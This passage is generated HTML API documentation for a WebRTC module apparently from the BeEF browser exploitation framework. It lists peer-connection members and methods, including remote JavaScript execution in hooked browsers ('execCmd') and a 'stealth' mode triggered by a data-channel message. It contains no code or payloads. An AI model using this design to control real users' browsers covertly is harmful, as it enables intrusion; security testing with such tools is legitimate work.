class=\"subsection-title\">Members</h3>\n\n        \n            \n<h4 class=\"name\" id=\".beefrtcs\"><span class=\"type-signature\">(static) </span>beefrtcs<span class=\"type-signature\"></span></h4>\n\n\n\n\n<div class=\"description\">\n    <p>To handle multiple peers - we need to have a hash of Beefwebrtc objects. The key is the peer id.</p>\n</div>\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"webrtc.js.html\">webrtc.js</a>, <a href=\"webrtc.js.html#line27\">line 27</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n        \n            \n<h4 class=\"name\" id=\".globalrtc\"><span class=\"type-signature\">(static) </span>globalrtc<span class=\"type-signature\"></span></h4>\n\n\n\n\n<div class=\"description\">\n    <p>To handle multiple Peers - we have to have a global hash of RTCPeerConnection objects\nthese objects persist outside of everything else. The key is the peer id.</p>\n</div>\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"webrtc.js.html\">webrtc.js</a>, <a href=\"webrtc.js.html#line33\">line 33</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n        \n            \n<h4 class=\"name\" id=\".rtcrecvchan\"><span class=\"type-signature\">(static) </span>rtcrecvchan<span class=\"type-signature\"></span></h4>\n\n\n\n\n<div class=\"description\">\n    <p>To handle multiple event channels - we need to have a global hash of these. The key is the peer id</p>\n</div>\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"webrtc.js.html\">webrtc.js</a>, <a href=\"webrtc.js.html#line45\">line 45</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n        \n            \n<h4 class=\"name\" id=\".rtcstealth\"><span class=\"type-signature\">(static) </span>rtcstealth<span class=\"type-signature\"></span></h4>\n\n\n\n\n<div class=\"description\">\n    <p>stealth should only be initiated from one peer - this global variable will contain:\nfalse - i.e not stealthed; or\n<peerid> - i.e. the id of the browser which initiated stealth mode</p>\n</div>\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"webrtc.js.html\">webrtc.js</a>, <a href=\"webrtc.js.html#line40\">line 40</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n        \n    \n\n    \n        <h3 class=\"subsection-title\">Methods</h3>\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".Beefwebrtc\"><span class=\"type-signature\">(static) </span>Beefwebrtc<span class=\"signature\">(initiator, peer, turnjson, stunservers, verbparam)</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Beefwebrtc object - wraps everything together for a peer connection\nOne of these per peer connection, and will be stored in the beefrtc global hash</p>\n</div>\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>initiator</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>peer</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>turnjson</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>stunservers</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>verbparam</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"webrtc.js.html\">webrtc.js</a>, <a href=\"webrtc.js.html#line57\">line 57</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\"calleeStart\"><span class=\"type-signature\">(static) </span>Beefwebrtc#calleeStart<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart()</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"webrtc.js.html\">webrtc.js</a>, <a href=\"webrtc.js.html#line529\">line 529</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\"createPeerConnection\"><span class=\"type-signature\">(static) </span>Beefwebrtc#createPeerConnection<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Try and establish the RTC connection</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"webrtc.js.html\">webrtc.js</a>, <a href=\"webrtc.js.html#line136\">line 136</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\"doAnswer\"><span class=\"type-signature\">(static) </span>Beefwebrtc#doAnswer<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we answer, as below</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"webrtc.js.html\">webrtc.js</a>, <a href=\"webrtc.js.html#line621\">line 621</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\"doCall\"><span class=\"type-signature\">(static) </span>Beefwebrtc#doCall<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>RTC - create an offer - the caller runs this, while the receiver runs calleeStart()</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"webrtc.js.html\">webrtc.js</a>, <a href=\"webrtc.js.html#line460\">line 460</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\"execCmd\"><span class=\"type-signature\">(static) </span>Beefwebrtc#execCmd<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>How the browser executes received JS (this is pretty hacky)</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"webrtc.js.html\">webrtc.js</a>, <a href=\"webrtc.js.html#line415\">line 415</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\"forceTurn\"><span class=\"type-signature\">(static) </span>Beefwebrtc#forceTurn<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Forces the TURN configuration (we can't query that computeengine thing because it's CORS is restrictive)\nThese values are now simply passed in from the config.yaml for the webrtc extension</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"webrtc.js.html\">webrtc.js</a>, <a href=\"webrtc.js.html#line119\">line 119</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\"goStealth\"><span class=\"type-signature\">(static) </span>Beefwebrtc#goStealth<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>This is the function when a peer tells us to go into stealth by sending a dataChannel message of &quot;!gostealth&quot;</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"webrtc.js.html\">webrtc.js</a>, <a href=\"webrtc.js.html#line314\">line 314</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\"iceCandidateType\"><span class=\"type-signature\">(static) </span>Beefwebrtc#iceCandidateType<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Helper method to determine what kind of ICE Candidate we've received</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"webrtc.js.html\">webrtc.js</a>, <a href=\"webrtc.js.html#line630\">line 630</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\"initialize\"><span class=\"type-signature\">(static) </span>Beefwebrtc#initialize<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Initialize the object</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"webrtc.js.html\">webrtc.js</a>, <a href=\"webrtc.js.html#line86\">line 86</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\"maybeStart\"><span class=\"type-signature\">(static) </span>Beefwebrtc#maybeStart<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Try and initiate, will check that system hasn't started, and that signaling is ready, and that TURN servers are ready</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"webrtc.js.html\">webrtc.js</a>, <a href=\"webrtc.js.html#line434\">line 434</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\"mergeConstraints\"><span class=\"type-signature\">(static) </span>Beefwebrtc#mergeConstraints<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Helper method to merge SDP constraints</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"webrtc.js.html\">webrtc.js</a>, <a href=\"webrtc.js.html#line472\">line 472</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\"noteIceCandidate\"><span class=\"type-signature\">(static) </span>Beefwebrtc#noteIceCandidate<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Used to record ICS candidates locally</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"webrtc.js.html\">webrtc.js</a>, <a href=\"webrtc.js.html#line245\">line 245</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\"onAddIceCandidateError\"><span class=\"type-signature\">(static) </span>Beefwebrtc#onAddIceCandidateError<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Event handler for unsuccessful addition of ICE Candidates</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"webrtc.js.html\">webrtc.js</a>, <a href=\"webrtc.js.html#line652\">line 652</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\"onAddIceCandidateSuccess\"><span class=\"type-signature\">(static) </span>Beefwebrtc#onAddIceCandidateSuccess<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Event handler for successful addition of ICE Candidates</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"webrtc.js.html\">webrtc.js</a>, <a href=\"webrtc.js.html#line644\">line 644</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\"onCreateSessionDescriptionError\"><span class=\"type-signature\">(static) </span>Beefwebrtc#onCreateSessionDescriptionError<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>If the browser can't build an SDP</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"webrtc.js.html\">webrtc.js</a>, <a href=\"webrtc.js.html#line513\">line 513</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\"onDataChannel\"><span class=\"type-signature\">(static) </span>Beefwebrtc#onDataChannel<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>When a data channel has been established - within here is the message handling function as well</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"webrtc.js.html\">webrtc.js</a>, <a href=\"webrtc.js.html#line345\">line 345</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\"onIceCandidate\"><span class=\"type-signature\">(static) </span>Beefwebrtc#onIceCandidate<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>When the PeerConnection receives a new ICE Candidate</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"webrtc.js.html\">webrtc.js</a>, <a href=\"webrtc.js.html#line165\">line 165</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\"onIceConnectionStateChanged\"><span class=\"type-signature\">(static) </span>Beefwebrtc#onIceConnectionStateChanged<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>When the ICE Connection State changes - this is useful to determine connection statuses with peers.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"webrtc.js.html\">webrtc.js</a>, <a href=\"webrtc.js.html#line265\">line 265</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\"onRemoteHangup\"><span class=\"type-signature\">(static) </span>Beefwebrtc#onRemoteHangup<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>If a peer hangs up (we bring down the peerconncetion via the stop() method)</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"webrtc.js.html\">webrtc.js</a>, <a href=\"webrtc.js.html#line660\">line 660</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\"onSetRemoteDescriptionSuccess\"><span class=\"type-signature\">(static) </span>Beefwebrtc#onSetRemoteDescriptionSuccess<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>If the browser successfully sets a remote description</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"webrtc.js.html\">webrtc.js</a>, <a href=\"webrtc.js.html#line521\">line 521</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\"onSignalingStateChanged\"><span class=\"type-signature\">(static) </span>Beefwebrtc#onSignalingStateChanged<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>When the signalling state changes. We don't actually do anything with this except log it.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"webrtc.js.html\">webrtc.js</a>, <a href=\"webrtc.js.html#line257\">line 257</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\"processMessage\"><span class=\"type-signature\">(static) </span>Beefwebrtc#processMessage<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>For all rtc signalling messages we receive as part of hook.js polling - we have to process them with this function\nThis will either add messages to the msgQueue and try and kick off maybeStart - or it'll call processSignalingMessage\nagainst the message directly</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"webrtc.js.html\">webrtc.js</a>, <a href=\"webrtc.js.html#line196\">line 196</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\"processSignalingMessage\"><span class=\"type-signature\">(static) </span>Beefwebrtc#processSignalingMessage<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Process messages, this is how we handle the signaling messages, such as candidate info, offers, answers</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"webrtc.js.html\">webrtc.js</a>, <a href=\"webrtc.js.html#line540\">line 540</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\"sendPeerMsg\"><span class=\"type-signature\">(static) </span>Beefwebrtc#sendPeerMsg<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Shortcut function to SEND a data messsage</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"webrtc.js.html\">webrtc.js</a>, <a href=\"webrtc.js.html#line425\">line 425</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\"sendSignalMsg\"><span class=\"type-signature\">(static) </span>Beefwebrtc#sendSignalMsg<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Send a signalling message ..</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"webrtc.js.html\">webrtc.js</a>, <a href=\"webrtc.js.html#line235\">line 235</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\"setRemote\"><span class=\"type-signature\">(static) </span>Beefwebrtc#setRemote<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Used to set the RTC remote session</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"webrtc.js.html\">webrtc.js</a>, <a href=\"webrtc.js.html#line612\">line 612</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\"stop\"><span class=\"type-signature\">(static) </span>Beefwebrtc#stop<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Bring down the peer connection</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    